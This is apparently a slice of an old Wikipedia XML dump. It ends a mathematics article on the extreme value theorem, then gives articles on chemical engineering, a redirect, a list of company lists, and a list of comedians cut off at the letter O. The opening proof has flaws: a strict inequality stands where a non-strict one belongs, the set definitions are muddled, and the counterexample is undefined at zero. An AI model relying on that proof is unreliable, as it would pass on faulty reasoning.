By the least upper bound axiom, we know that there is a minimum M such that
&lt;math&gt;
f(x) &lt; M 
&lt;/math&gt;
for 
&lt;math&gt;
x \in [a,b]
&lt;/math&gt;

Let 
&lt;math&gt;
A = \{ x \in \mathbb{R} : f(x) \leq M \}
&lt;/math&gt;
Now A will also have least upper bound m, this must be in [a,b], as 
&lt;math&gt;
A \subseteq [a,b]
&lt;/math&gt;
and [a,b] contains all its limit points.

This point will then be the maximum as 
&lt;math&gt;
f(m) \leq M \mbox{ as } m \in [a,b] 
&lt;/math&gt;
Further 
&lt;math&gt;
f(m) \geq M
&lt;/math&gt;
as we can find a member of A, b such that f(b) is arbitrarily close to M otherwise M is not minimal, so if f(m)&lt; M,M cannot be an upper bound.

Thus 
&lt;math&gt;
f(m) = M
&lt;/math&gt;

Similarly considering
&lt;math&gt;
 g: [a,b] \to \mathbb{R}, \ g(x) = -f(x)
&lt;/math&gt;

and noting that 
&lt;math&gt;
\ \  \max g(x) = \min f(x)
&lt;/math&gt;
we see f obtains its minimum.

Thus f obtains its minimum and maximum at at least one point so, by the intermediate value theorem, it obtains all values in between.

== Caveats ==

It is important to note that this theorem only applies to '''continuous real functions'''.  It does not apply to the rationals, as these do not satisfy the least upper bound axiom; they are not [[complete]]. 

To illustrate this consider

&lt;math&gt;
f: [0,2] \cap \mathbb{Q} \to \mathbb{R} 
&lt;/math&gt;

&lt;math&gt;
   x \mapsto e^{( - (x - \sqrt{2})^2 )}
&lt;/math&gt;

f would obtain its maximum value at 
&lt;math&gt;
\sqrt{2}
&lt;/math&gt;
but this is not in the set.

If f is not continuous consider as a counterexample

&lt;math&gt;
f: [0,1] \to \mathbb{R} 
&lt;/math&gt;

&lt;math&gt;
x \mapsto 
\begin{cases}
\frac{1}{x} &amp; \frac{1}{x} \in \mathbb{Z} \\
0 &amp; \mbox{otherwise}
\end{cases}
&lt;/math&gt;

This is unbounded, but [0,1] is bounded.

Further, one should carefully note that the set must be closed, otherwise the maximum and minimum values might not be obtained.

&lt;!--Someone might like to add some thoughts about more general functions from any complete set.--&gt;</text>
    </revision>
  </page>
  <page>
    <title>Chemical engineering</title>
    <id>6038</id>
    <revision>
      <id>41743234</id>
      <timestamp>2006-03-01T12:33:19Z</timestamp>
      <contributor>
        <username>Robotje</username>
        <id>100235</id>
      </contributor>
      <comment>+ nl:</comment>
      <text xml:space="preserve">'''Chemical [[engineering]]''' is the application of [[science]], in particular [[chemistry]], physics and mathematics, to the process of converting raw [[material]]s or [[chemical]]s into more useful or valuable forms.

Chemical Engineering largely involves the design and maintenance of chemical processes for large-scale manufacture. '''Chemical engineers''' in this branch are usually employed under the title of '''process engineer'''.  Following is an example that illustrates the process engineering part of chemical engineering:

:''The difference between chemical engineering and [[chemistry]] can be illustrated by considering the example of producing orange juice. A chemist working in the laboratory investigates and discovers a multitude of pathways to extract the juice of an orange. The simplest mechanism found is to cut the orange in half and squeeze the orange using a manual juicer. A more complicated approach found is to peel and then crush the orange and collect the juice. A company then commissions a chemical engineer to design a plant to manufacture several thousand tons of orange juice per year. The chemical engineer investigates all the available methods for making orange juice and evaluates them according to their economical viability. Even though the manual juicing method is simple, it is not economical to employ thousands of people to manually juice oranges. Thus another, cheaper method is used (possibly the 'peel and crush' technique). The easiest method of manufacture on a laboratory bench will not necessarily be the most economical method for a manufacturing plant.''

Chemical engineers are aiming for the most economical process. This means that the entire production chain must be planned and controlled for costs. A chemical engineer can both simplify and complify &quot;showcase&quot; reactions for an economic advantage. Using a higher pressure or temperature makes several reactions easier; ammonia, for example, is simply produced from its component elements in a high-pressure reactor. On the other hand, reactions with a low yield can be recycled continuously, which would be complex, arduous work if done by hand in the laboratory. It is not unusual to build 6-, or even 12-step evaporators to reuse the vaporization energy for an economic advantage. In contrast, a laboratory chemists evaporate samples in a single step, wasting the energy.

The individual processes used by chemical engineers (eg. [[distillation]] or [[filtration]]) are called [[unit operations]] and consist of [[chemical reaction]], [[mass transfer|mass-]], [[heat transfer|heat-]] and [[fluid dynamics|momentum-]] transfer operations. Unit operations are grouped together in various configurations for the purpose of [[chemical synthesis]] and/or [[separation of mixture|chemical separation]]. Some processes are a combination of intertwined transport and separation unit operations, (e.g. [[reactive distillation]]).

Three primary physical laws underlying chemical engineering design are [[Conservation of mass]], [[Momentum|Conservation of momentum]] and [[Conservation of energy]]. The movement of mass and energy around a chemical process are evaluated using [[Mass balance]]s and energy balances which apply these laws to whole plants, unit operations or discrete parts of equipment. In doing so, Chemical Engineers use principles of [[thermodynamics]], [[reaction kinetics]] and [[transport phenomena]]. The task of performing these balances is now aided by process simulators, which are complex software models (such as Pro II and Hysys) that can solve mass and energy balances and usually have built-in modules to simulate a variety of common unit operations.

The modern discipline of chemical engineering encompasses much more than just process engineering.  Chemical engineers are now engaged in the development and production of a diverse range of products, as well as in commodity and specialty [[chemical]]s. These products include high performance materials needed for [[aerospace]], [[automotive engineering|automotive]], [[biomedical engineering|biomedical]], [[electronics|electronic]], [[environmental engineering|environmental]] and [[military]] applications. Examples include ultra-strong fibers, [[Cloth|fabric]]s, [[adhesives]] and composites for vehicles, [[Biocompatibility|bio-compatible materials]] for implants and prosthetics, [[gel]]s for medical applications, [[pharmaceuticals]], and films with special dielectric, optical or [[spectroscopy|spectroscopic]] properties for opto-electronic devices. Additionally, chemical engineering is often intertwined with [[biology]] and [[biomedical engineering]].  Many chemical engineers work on biological projects such as understanding biopolymers ([[proteins]]) and [[human genome project|mapping the human genome]].

==Related fields and topics==

Today, the field of chemical engineering is a diverse one, covering areas from [[biotechnology]] and [[nanotechnology]]  to [[mineral processing]].  

*[[Biochemical Engineering]]
*[[Biomedical Engineering]]
*[[Biotechnology]]
*[[Ceramic]]s
*[[Natural environment|Environment]]
*[[Fluid Dynamics]]
*[[heat transfer|Heat Transfer]]
*[[Mass transfer|Mass Transfer]]
*[[Materials science]]
*[[Microfluidics]]
*[[Nanotechnology]]
*[[Chemical reactor]]
*[[separation processes|Separation Processes]] (see also: [[Separation of mixture]])
**[[Membrane Processes]]
**[[Distillation Processes]]
**[[Crystallization Processes]]
*[[Thermodynamics]]
*[[particle technology|Particle Technology]]
*[[Polymer]]s
*[[process control|Process Control]]
*[[process design|Process Design]]
*[[Process Modeling|Process Modeling]]
*[[Pulp and Paper]]

== See also ==

* [[History of Chemical Engineering]]
* [[List of chemical engineering topics]] 
* [[List of chemical engineers]]

== External links==
*[http://www.cheresources.com/indexzz.shtml Chemical Engineers' Resource Page]
*[http://dmoz.org/Business/Chemicals/Engineering/ Chemical Engineering sites (dmoz Open Directory Project)]
*[http://dmoz.org/Science/Technology/Chemical_Engineering/Software/ Chemical Engineering software (dmoz Open Directory Project)]
*[http://www.ciw.uni-karlsruhe.de/chem-eng.ac.html Academic Chemical Engineering Sites all over the World]
*[http://www.aiche.org/ American Institute of Chemical Engineers (USA)]
*[http://www.icheme.org Institution of Chemical Engineers (UK)]
*[http://www.ieaust.org.au Engineers Australia (AUS)]
*[http://www.interec.net/app/servlet/SkyServlet?handler=AreaChemical Job Search For Chemical Engineers]

[[Category:Chemical engineering]]

{{Technology-footer}}

[[af:Chemiese ingenieurswese]]
[[de:Chemieingenieurwesen]]
[[es:Ingeniería química]]
[[eo:Kemia inĝenierarto]]
[[fr:Génie des procédés]]
[[gl:Enxeñaría química]]
[[he:הנדסת כימיה]]
[[ms:Kejuruteraan kimia]]
[[nl:Chemische technologie]]
[[ja:化学工学]]
[[pl:Inżynieria chemiczna]]
[[pt:Engenharia química]]
[[sv:Kemiteknik]]
[[th:วิศวกรรมเคมี]]
[[zh:化学工程]]
[[fi:Kemiantekniikka]]</text>
    </revision>
  </page>
  <page>
    <title>Catatonia/Paper Scissors Stone</title>
    <id>6039</id>
    <revision>
      <id>15904204</id>
      <timestamp>2002-05-26T12:28:36Z</timestamp>
      <contributor>
        <ip>213.253.40.176</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Paper Scissors Stone (album)]]</text>
    </revision>
  </page>
  <page>
    <title>Lists of companies</title>
    <id>6040</id>
    <revision>
      <id>41198664</id>
      <timestamp>2006-02-25T18:57:38Z</timestamp>
      <contributor>
        <username>Choster</username>
        <id>14064</id>
      </contributor>
      <comment>/* Related lists */ updated stock exchange list links</comment>
      <text xml:space="preserve">This is an incomplete list of lists of [[corporation|companies]].

{{listdev}}

= By country =

==A==
*[[List of Afghan companies]]
*[[List of Albanian companies]]
*[[List of Algerian companies]]
*[[List of Andorran companies]]
*[[List of Angolan companies]]
*[[List of Argentine companies]]
*[[List of Australian companies]]
*[[List of Austrian companies]]

==B==

*[[List of Bahamian companies]]
*[[List of Bahraini companies]]
*[[List of Barbadian companies]]
*[[List of Belarusian companies]]
*[[List of Belgian companies]]
*[[List of Bolivian companies]]
*[[List of Brazilian companies]]
*[[List of British companies]]
*[[List of Bulgarian companies]]
*[[List of Burkina Faso companies]]
*[[List of Burundi companies]]

==C==

*[[List of Cambodian companies]]
*[[List of Cameroonian companies]]
*[[List of Canadian companies]]
*[[List of Cape Verdean companies]]
*[[List of Chadian companies]]
*[[List of Chilean companies]]
*[[List of Chinese companies]]
**[[List of companies in the People's Republic of China|List of companies in mainland China]]
**[[List of Hong Kong companies|List of companies in Hong Kong]]
**[[List of companies in Macau]]
**[[List of Taiwanese companies||List of companies in Taiwan]]
*[[List of Cote de Ivoire companies]]
*[[List of Colombian companies]]
*[[List of Costa Rican companies]]
*[[List of Cuban companies]]
*[[List of Cypriot companies]]
*[[List of Czech companies]]

==D==

*[[List of Danish companies]]
*[[List of Dominican companies]]
*[[List of Dubai companies]]
*[[List of Dutch companies]]

==E==

*[[List of Ecuadorean companies]]
*[[List of Egyptian companies]]
*[[List of Equatorial Guinean companies]]
*[[List of Estonian companies]]
*[[List of Ethiopian companies]]

==F==

*[[List of Faeroese companies]] ''Faeroe Islands''
*[[List of Filipino companies]]
*[[List of Finnish companies]]
*[[List of French companies]]

==G==

*[[List of Gambian companies]]
*[[List of German companies]]
*[[List of Ghanaian companies]]
*[[List of Global companies]]
*[[List of Grand Cayman Islands companies]]
*[[List of Greek companies]]
*[[List of Guatemalan companies]]
*[[List of Guinea-Bissau companies]]
*[[List of Guinean companies]]
*[[List of Guyanese companies]]

==H==

*[[List of Haitian companies]]
*[[List of Honduran companies]]
*[[List of Hungarian companies]]

==I==

*[[List of Icelandic companies]]
*[[List of Indian companies]]
*[[List of Indonesian companies]]
*[[List of Iranian companies]]
*[[List of Iraqi companies]]
*[[List of Irish companies]]
*[[List of Israeli companies]]
*[[List of Italian companies]]
*[[List of Ivorean companies]]

==J==

*[[List of Japanese companies]]
*[[List of Jamaican companies]]
*[[List of Jordanian companies]]

==K==

*[[List of Kazakhstani companies]]
*[[List of Kenyan companies]]
*[[List of Kuwaiti companies]]

==L==

*[[List of Laotian companies]]
*[[List of Latvian companies]]
*[[List of Lebanese companies]]
*[[List of Lesothan companies]]
*[[List of Liberian companies]]
*[[List of Libyan companies]]
*[[List of Lichtensteinian companies]]
*[[List of Lithuanian companies]]
*[[List of Luxembourgian companies]]

==M==

*[[List of Malawian companies]]
*[[List of Malaysian companies]]
*[[List of Malian companies]]
*[[List of Maltese companies]]
*[[List of Mauritanian companies]]
*[[List of Mauritian companies]]
*[[List of Moldavian companies]]
*[[List of Monacan companies]]
*[[List of Mongolian companies]]
*[[List of Moroccan companies]]
*[[List of Mozambican companies]]
*[[List of Mexican companies]]
*[[List of Myanmar companies]]

==N==

*[[List of Namibian companies]]
*[[List of Nauruan companies]]
*[[List of Nepali companies]]
*[[List of New Guinean companies]]
*[[List of New Zealand companies]]
*[[List of Nicaraguan companies]]
*[[List of Nigerian companies]]
*[[List of North Korean companies]]
*[[List of Norwegian companies]]

==O==

*[[List of Omani companies]]

==P==

*[[List of Pakistani companies]]
*[[List of Palestinian companies]]
*[[List of Panamanian companies]]
*[[List of Paraguayan companies]]
*[[List of Peruvian companies]]
*[[List of Philippine companies]]
*[[List of Polish companies]]
*[[List of Portuguese companies]]
*[[List of Puerto Rican companies]]

==Q==

*[[List of Qatari companies]]

==R==

*[[List of Romanian companies]]
*[[List of Russian companies]]
*[[List of Rwandan companies]]

==S==

*[[List of Saint Lucian companies]]
*[[List of Salvadorean companies]]
*[[List of Saudi Arabian companies]]
*[[List of Senegalese companies]]
*[[List of Serbian companies]]
*[[List of Sierra Leonean companies]]
*[[List of Sikkim companies]]
*[[List of Singapore companies]]
*[[List of Slovakian companies]]
*[[List of Slovenian companies]]
*[[List of Somali companies]]
*[[List of South African companies]]
*[[List of South Korean companies]]
*[[List of Spanish companies]]
*[[List of Sri Lankan companies]]
*[[List of Sudanese companies]]
*[[List of Swazi companies]]
*[[List of Swedish companies]]
*[[List of Swiss companies]]
*[[List of Syrian companies]]

==T==

*[[List of Tajikistani companies]]
*[[List of Tanzanian companies]]
*[[List of Thai companies]]
*[[List of Togolese companies]]
*[[List of Tunisian companies]]
*[[List of Turkish companies]]

==U==

*[[List of Ugandan companies]]
*[[List of Ukrainian companies]]
*[[List of Uruguayan companies]]
*[[List of UAE companies]]
*[[List of United States companies]]
*[[List of United States companies by state]]
*[[List of Uzbekistani companies]]

==V==

*[[List of Venezuelan companies]]
*[[List of Vietnamese companies]]

==Y==

*[[List of Yemeni companies]]

==Z==

*[[List of Zambian companies]]
*[[List of Zimbabwean companies]]

= By industry =

*[[List of advertisement agencies]]
*[[List of aerial lift manufacturers]]
*[[List of aircraft engine manufacturers]]
*[[List of aircraft manufacturers]]
*[[List of airlines]]
*[[List of automobile manufacturers]]
*[[List of banks]]
*[[List of board game publishers]]
*[[List of brewers]]
*[[List of bus companies]]
*[[List of cable companies]]
*[[List of computer and video game companies]]
*[[List of consulting firms]]
*[[List of US defense contractors]]
*[[List of donut shops]]
*[[List of economics consultancies and think tanks]]
*[[List of electronic stores]]
*[[List of famous department stores]]
*[[List of fast-food restaurant chains]]
*[[List of food manufacturers]]
*[[List of furniture stores]]
*[[List of gas stations|List of gas stations (and oil companies)]]
*[[List of health care companies]]
*[[List of ice cream parlors]]
*[[List of karting manufacturers]]
*[[List of law firms]]
*[[List of packaging companies]]
*[[List of pharmaceutical companies]]
*[[Lists of public utilities]]
**[[List of United States electric companies]]
**[[List of United States natural gas companies]]
**[[List of United States telephone companies]]
**[[List of United States water companies]]
*[[List of railway companies]]
*[[List of record labels]]
*[[List of research companies]]
*[[List of restaurant chains]]
*[[List of ship companies]]
*[[List of software companies]]
*[[List of spring water companies]]
*[[List of supermarkets]]
*[[List of video screen manufacturing companies]]

*[[List of web design companies]]
*[[List of companies that switched industries]]

= By performance =
*[[List of companies by revenue]]

= Uncategorized =
*[[List of companies that have a mascot]]

= Related lists =
*[[List of missing company articles]]
*[[List of organizations]]
*[[List of Caribbean companies]]
*[[List of European companies]]
*[[List of companies named after people]]
*[[List of company name etymologies]]
*[[List of company registers]]
*[[List of commercial pairs]]
*[[List of employee-owned companies]]
*[[List of enlisted companies]]
* [[List of franchises]]
*[[Lists of corporate assets]]
*[[List of companies listed on the Athens Stock Exchange]]
*[[List of companies listed on Bovespa]]
*[[List of companies listed on the London Stock Exchange]]
*[[Companies listed on the Hong Kong Stock Exchange]]
*[[List of companies listed on NASDAQ]]
*[[List of companies listed on the Toronto Stock Exchange]]
*[[List of top United States patent recipients]]
*[[List of countries]]

=Projects concentrating on gathering company information=

*Consumerium - [[GNU Free Documentation License|GFDL]], [[Mediawiki]]
*CorpKnowPedia - [[GNU Free Documentation License|GFDL]], [[Mediawiki]]
*[[Stockepedia]] - [[GNU Free Documentation License|GFDL]], [[Mediawiki]]
*[[Wikicompany]] - [[GNU Free Documentation License|GFDL]], [[Mediawiki]]
*[[Yellowikis]], open business listings

&lt;!-- If you have an interest in the Economics and Business section of Wikipedia, drop by at [[Wikipedia:The Business and Economics Forum|The Business and Economics Forum]]. --&gt;
[[el:Κατάλογος εταιρειών]]
[[fr:Liste des entreprises]]
[[id:Daftar perusahaan]]
[[nl:Lijsten van ondernemingen]]
[[pt:Listas de empresas]]
[[sv:Lista över företag]]
[[zh:&amp;#20844;&amp;#21496;&amp;#21015;&amp;#34920;]]

[[Category:Lists of companies|*]]
[[Category:Structured lists]]</text>
    </revision>
  </page>
  <page>
    <title>List of comedians</title>
    <id>6041</id>
    <revision>
      <id>41541444</id>
      <timestamp>2006-02-28T01:12:29Z</timestamp>
      <contributor>
        <ip>67.53.212.40</ip>
      </contributor>
      <comment>Removed vanity</comment>
      <text xml:space="preserve">A [[comedian]] is one who entertains through [[comedy]], such as jokes and other forms of [[humour]].

==Comedians (English language)==

=== A ===
* [[Bud Abbott]] (1895-1974)
* [[Roger Abbott]] (1946-)
* [[Russ Abbott]] (1947-)
* [[Chris Addison]] (19??-)
* [[Joe Alaskey]] (1949-)
* [[Carlos Alazraqui]] (1962-)
* [[Jack Albertson]] (1907-1981)
* [[Jason Alexander]] (1959-)
* [[Dave Allen (comedian)|Dave Allen]] (1936-2005)
* [[Gracie Allen]] (1902?-1964)
* [[Steve Allen]] (1921-2000)
* [[Tim Allen]] (1953-)
* [[Woody Allen]] (1935-)
* [[Eddie Anderson]] (1905-1977)
* [[Louie Anderson]] (1953-)
* [[Tom Arnold (actor)|Tom Arnold]] (1959-)
* [[Gregg Asch]] (1962-)
* [[Arthur Askey]] (1900-1982)
* [[Rowan Atkinson]] (1955-)
* [[Dave Attell]] (1965-)
* [[Roy Atwell]] (1878-1962)
* [[Dan Aykroyd]] (1952-)
* [[damali ayo]] (1972- living)
* [[Richard Ayoade]] (19??-)
* [[Hank Azaria]] (1964-)
* [[Craig Anton]] (1965-)

=== B ===
* [[Georgia Backus]] (1900-1983)
* [[David Baddiel]] (1964-)
* [[Bill Bailey]] (1964-)
* [[Nick Bakay]] (1964-)
* [[Lucille Ball]] (1911-1989)
* [[Jorn 'Google Hat' Barger]] (1953-)
* [[Arj Barker]] (1974-)
* [[Ronnie Barker]] (1929-2005)
* [[Sacha Baron Cohen]] as [[Ali G]] (1971-)
* [[Drew Barr]] (19??-)
* [[Carl Barron]] (19??-)
* [[Roseanne Barr]] (1952-)
* [[Chris Barrie]] (1960-)
* [[Dave Barry]] (1947-)
* [[Todd Barry]] (1964-)
* [[Alfie Bass]] (1921-1987)
* [[Norman Beaton]] (1934-1994)
* [[James Belushi]] (1954-)
* [[John Belushi]] (1949-82)
* [[Mitch Benn]] (19??-)
* [[Jack Benny]] (1894-1974)
* [[Michael Bentine]] (1922-96)
* [[Milton Berle]] (1908-2002)
* [[Sandra Bernhard]] (1955-)
* [[Des Bishop]] (19??-)
* [[Jack Black (actor)|Jack Black]] (1969-)
* [[Lewis Black]] (1948-)
* [[Ben Blue]] (1901-1975)
* [[Ray Bolger]] (1904-1987)
* [[Fortunio Bonanova]] (1895-1969)
* [[Victor Borge]] (1909-2000)
* [[Wolfe Bowart]] (19??-)
* [[Jo Brand]] (1957-)
* [[John Branyan]] (1965-)
* [[Rory Bremner]] (1961-)
* [[David Brenner]] (1945-)
* [[Bernard Bresslaw]] (1934-1993)
* [[Jim Breuer]] (1967-)
* [[Franny Brice]] (1891-1951)
* [[Marcus Brigstocke]] (19??-)
* [[Albert Brooks]] (1947-)
* [[Mel Brooks]] (1926-)
* [[A. Whitney Brown]] (1952-)
* [[Arnold Brown (comedian)]] (19??-)
* [[Joe E. Brown (comedian)|Joe E. Brown]] (1892-1973)
* [[Julie Brown]] (1958-)
* [[Lenny Bruce]] (1925-1966)
* [[Carol Burnett]] (1933-)
* [[Brendon Burns]] (19??-)
* [[George Burns]] (1896-1996)
* [[Billy Bush]] (1971-)
* [[Red Buttons]] (1919-)
* [[Ed Byrne]] (197?-)
* [[Jason Byrne (comedian)|Jason Byrne]] (197?-)

=== C ===
* [[Louis C.K.]] (1967-)
* [[Sid Caesar]] (1922-)
* [[Rhona Cameron]] (1965-)
* [[James Campbell (Children's Comedian)|James Campbell]] (19??-)
* [[John Candy]] (1950-1994)
* [[Eddie Cantor]] (1892-1964)
* [[Scott Capurro]] (1962-)
* [[Drew Carey]] (1958-)
* [[George Carlin]] (1937-)
* [[Alan Carney]] (1909-1973)
* [[Jim Carrey]] (1962-)
* [[Adam Carolla]] (1964-)
* [[Carrot Top]] (1967-)
* [[Jasper Carrott]] (1945-)
* [[Frank Carson]] (1926-)
* [[Johnny Carson]] (1925-2005)
* [[Dana Carvey]] (1955)
* [[Dan Castellaneta]] (1958-)
* [[Adam Cecil]] (19??-)
* [[Cedric the Entertainer]] (1964-)
* [[Charlie Chaplin]] (1889-1977)
* [[Graham Chapman]] (1941-1989)
* [[Dave Chappelle]] (1973-)
* [[Craig Charles]] (1964-)
* [[Charley Chase]] (1893-1940)
* [[Chevy Chase]] (1943-)
* [[Michael Chiklis]] (1963-)
* [[Margaret Cho]] (1968-)
* [[Andrew Dice Clay|Andrew &quot;Dice&quot; Clay]] (1958-)
* [[John Cleese]] (1939-)
* [[Jackie Clune]] (19??-)
* [[Imogene Coca]] (1908-2001)
* [[Sacha Baron Cohen]] aka &quot;Ali G&quot; (1971-)
* [[Enrico Colantoni]] (1963-)
* [[Stephen Colbert]] (1964-)
* [[Kim Coles]] (1966-)
* [[Billy Connolly]] (1942-)
* [[Kenneth Connor]] (1916-1993)
* [[Tim Conway]] (1933-)
* [[Steve Coogan]] as [[Alan Partridge]] and Paul Calf  (1965-)
* [[Dane Cook]] (1972-)
* [[David L. Cook]] aka [[Mortermer Crabbottom]] (1968-)
* [[Peter Cook]] (1937-1995)
* [[Tommy Cooper]] (1921-1984)
* [[Ronnie Corbett]] (1930-)
* [[Bill Cosby]] (1937-)
* [[Lou Costello]] (1906-1959)
* [[George Coulouris]] (1903-1989)
* [[Mark Critch]] (19??-)
* [[Anna Cromy]] (19??-)
* [[Norm Crosby]] (1927-)
* [[David Cross]] (1964-)
* [[Billy Crystal]] (1947-)
* [[Seán Cullen]] (1965-)
* [[Jane Curtin]] (1947-)

=== D ===
* [[Brian Damage]] (1950-)
* [[Rodney Dangerfield]] (1921-2004)
* [[Ted Danson]] (1947-)
* [[Rhys Darby]] (19??-)
* [[Larry David]] (1947-)
* [[Alan Davies]] (1966-)
* [[Danny De Vito]] (1944-)
* [[Jack Dee]] (1962-)
* [[Ellen DeGeneres]](1958-)
* [[Lea DeLaria]] (1958-)
* [[Dom DeLuise]] (1933-)
* [[Hugh Dennis]] (1962-)
* [[Les Dennis]] (1953-)
* [[Andy Dick]] (1965-)
* [[Richard Digance]] (1949-)
* [[Phyllis Diller]] (1917-)
* [[Omid Djalili]] (1965-)
* [[Ken Dodd]] (1929-)
* [[Charlie Drake]] (1925-)
* [[Richard Dreyfuss]] (1947-)
* [[Ryan Drummond]] (1973-)
* [[Jimmy Durante]] (1893-1980)

=== E ===
* [[Earthquake (comedian)|Earthquake]]
* [[Jenny Eclair]] (1960-)
* [[Neil Edmond]] (19??-)
* [[Adrian Edmondson]] (1957-)
* [[Jimmy Edwards]] (1920-1988)
* [[Justin Edwards]] (19??-)
* [[Ben Elton]] (1959-)
* [[Harry Enfield]] (1961-)
* [[Bill Engvall]] (1957-)
* [[Lee Evans (comedian)|Lee Evans]] (1964-)
* [[Kenny Everett]] (1943-1995)

=== F ===
* [[Bill Fagerbakke]]
* [[Jimmy Fallon]]
* [[Chris Farley]]
* [[Marty Feldman]]
* [[Graham Fellowes]] as [[Jilted John]] and [[John Shuttleworth]]
* [[Don Ferguson]]
* [[Will Ferrell]]
* [[Tina Fey]]
* [[Noel Fielding]]
* [[W.C. Fields]]
* [[Dave Foley]]
* [[Diane Ford]]
* [[Jeff Foxworthy]]
* [[Pablo Francisco]]
* [[Al Franken]]
* [[Stan Freberg]]
* [[Dawn French]]
* [[Stephen Fry]]

=== G ===
* [[Jim Gaffigan]]
* [[Gallagher (US comedian)|Gallagher]]
* [[Graeme Garden]]
* [[Jeff Garlin]]
* [[Janeane Garofalo]]
* [[Zach Galifanakis]]
* [[Ana Gasteyer]]
* [[Ricky Gervais]] (1961-Living)
* [[Rhod Gilbert]]
* [[Jackie Gleason]] (1916-1987)
* [[Janey Godley]]
* [[Gilbert Gottfried]]
* [[Whoopi Goldberg]] (1955-Living)
* [[John Goodman]] (1952-Living)
* [[Dave Gorman]]
* [[Luba Goy]]
* [[Boothby Graffoe (comedian)]]
* [[Kelsey Grammer]] (1955-Living)
* [[Corinne Grant]]
* [[Jeff Green]]
* [[Seth Green]] (1974-Living)
* [[James Gregory (comedian)|James Gregory]]
* [[Kathy Griffin]]
* [[Christopher Guest]]
* [[Deryck Guyler]]

=== H ===
* [[Buddy Hackett]]
* [[Rich Hall]]
* [[Neil Hamburger]]
* [[Mark Hamill]] (1951-Living)
* [[Tony Hancock]]
* [[Jack Handey]] a.k.a. Jack Handy
* [[Chelsea Handler]]
* [[Tom Hanks]] (1956-Living)
* [[Terry Hansen]]
* [[Malcolm Hardee]] (1950-2005)
* [[Jeremy Hardy]]
* [[Mike Harding]]
* [[Otis Harlan]] (1865-1940)
* [[Phil Hartman]] (1948-1998)
* [[Steve Harvey]]
* [[Phil Hayes]]
* [[Natalie Haynes]]
* [[Goldie Hawn]]
* Sir [[Charles Hawtrey (19th century actor)|Charles Hawtrey]]
* [[Charles Hawtrey (Carry On actor)|Charles Hawtrey]] (George Hartree)
* [[Richard Hearn]]
* [[Mitch Hedberg]] (1968-2005)
* [[John Hegley]]
* [[Tim Heidecker]]
* [[Peter Helliar]]
* [[Lenny Henry]]
* [[Richard Herring]]
* [[Bill Hicks]]
* [[Benny Hill]]
* [[Harry Hill]]
* [[Adam Hills]]
* [[Jessica Holmes]]
* [[Bob Hope]] (1903-2003)
* [[Kenneth Horne]]
* [[Roy Hudd]]
* [[Dave Hughes]]
* [[Sean Hughes (comedian)|Sean Hughes]]
* [[D.L. Hughley]]
* [[Barry Humphries]]
* [[Reginald D Hunter]]

=== I ===
* [[Armando Iannucci]]
* [[Eric Idle]] 
* [[Robin Ince]]
* [[Neil Innes]]
* [[Scott Innes]]
* [[Eddie Izzard]]

=== J ===
* [[Hattie Jacques]]
* [[Sid James]]
* [[Jake Johannsen]]
* [[Dom Joly]]
* [[Cathy Jones]]
* [[Milton Jones]]
* [[Spike Jones]]
* [[Terry Jones]]
* [[Tere Joyce]]
* [[John Junkin]]

=== K ===
* [[Andy Kaufman]]
* [[Dan Kaufman]]
* [[Danny Kaye]]
* [[Peter Kay]]
* [[Buster Keaton]] (1895-1966)
* [[Michael Keaton]]
* [[Peter Kelamis]]
* [[Jamie Kennedy]]
* [[Mary E. Kennedy]]
* [[Tom Kenny]]
* [[Laura Kightlinger]]
* [[Craig Kilborn]]
* [[Jimmy Kimmel]]
* [[Sam Kinison]]
* [[Sid Kipper]]
* [[Takeshi Kitano]] (1947-)
* [[Daniel Kitson]]
* [[Robert Klein]]
* [[Ernie Kovacs]]

=== L ===
* [[Lisa Lampanelli]]
* [[Nathan Lane]]
* [[Larry the Cable Guy]] (Daniel Whitney) (1963-)
* [[Hugh Laurie]]
* [[Doug Lawrence]] aka &quot;Mr Lawrence&quot;
* [[Martin Lawrence]]
* [[Vicki Lawrence]]
* [[Denis Leary]] (1957-Living)
* [[John Leguizamo]] (1964-Living)
* [[Tom Lehrer]]
* [[Jack Lemmon]] (1925-2001)
* [[Jay Leno]]
* [[David Letterman]]
* [[Jerry Lewis]]
* [[Rich Little]]
* [[Little Howard]]
* [[Harold Lloyd]]
* [[Sean Lock]]
* [[Josie Long]]
* [[Andres Lopez]]
* [[George Lopez]]
* [[Julia Louis-Dreyfus]]
* [[The Great LukeSki]]
* [[Stephen Lynch (comedian)|Stephen Lynch]]
* [[Paul Lynde]] (1926-1982)

=== M ===
* [[Bernie Mac]]
* [[Norm MacDonald]]
* [[Doon Mackichan]]
* [[Robert Mackle]]
* [[Shaun Majumder]]
* [[Howie Mandel]]
* [[Cheech Marin]]
* [[Pigmeat Markham]]
* [[Betty Marsden]]
* [[Jackie Mason]]
* [[Demetri Martin]]
* [[Steve Martin]] (1945-Living)
* [[Jackie Martling]] (1948-Present)
* [[Groucho Marx]] (1890-1977)
* [[Zeppo Marx]] (1901-1979)
* [[Walter Matthau]] (1920-2000)
* [[Ralphie May]]
* [[Rik Mayall]]
* [[Jack Mayberry]]
* [[Bruce McCulloch]]
* [[Kevin McDonald]]
* [[Michael McGaharn]]
* [[Roger McGough]]
* [[Mark McKinney]]
* [[Ed McMahon]]
* [[Rove McManus]]
* [[Tim Meadows]]
* [[Melsondorph the Powerful]]
* [[Rick Mercer]]
* [[Ethel Merman]]
* [[Paul Merton]]
* [[Dennis Miller]]
* [[Max Miller]]
* [[Yankel Miller]]
* [[Spike Milligan]]
* [[Colin Mochrie]]
* [[Jay Mohr]]
* [[Bob Monkhouse]]
* [[Dudley Moore]]
* [[Rudy Ray Moore]]
* [[Victor Moore]]
* [[Dylan Moran]]
* [[Rick Moranis]]
* [[Dermot Morgan]]
* [[John Morgan (comedian)|John Morgan]]
* [[Tracy Morgan]]
* [[Chris Morris (satirist)|Chris Morris]]
* [[Garrett Morris]]
* [[Simon Munnery]]
* [[Richard Murdoch]]
* [[Eddie Murphy]]
* [[Al Murray]]
* [[Bill Murray]]
* [[Lorenzo Music]]
* [[Mike Myers (actor)|Mike Myers]]

=== N ===
* [[Jim Nabors]]
* [[Paul Nardizzi]]
* [[Rex Navarette]] 
* [[Henry Naylor]]
* [[Kevin Nealon]]
* [[Bob Newhart]]
* [[Laraine Newman]]
* [[Robert Newman|Rob Newman]]
* [[Phil Nichol]]
* [[Leslie Nielsen]]
* [[Ross Noble]]
* [[Graham Norton]]
* [[Jim Norton (comedian)]]
* [[Don Novello]]

=== O ===
* [[Dara Ó Briain]]
* [[Conan O'Brien]]
* [[Donald O'Connor]]
* [[Ardal O'Hanlon]]
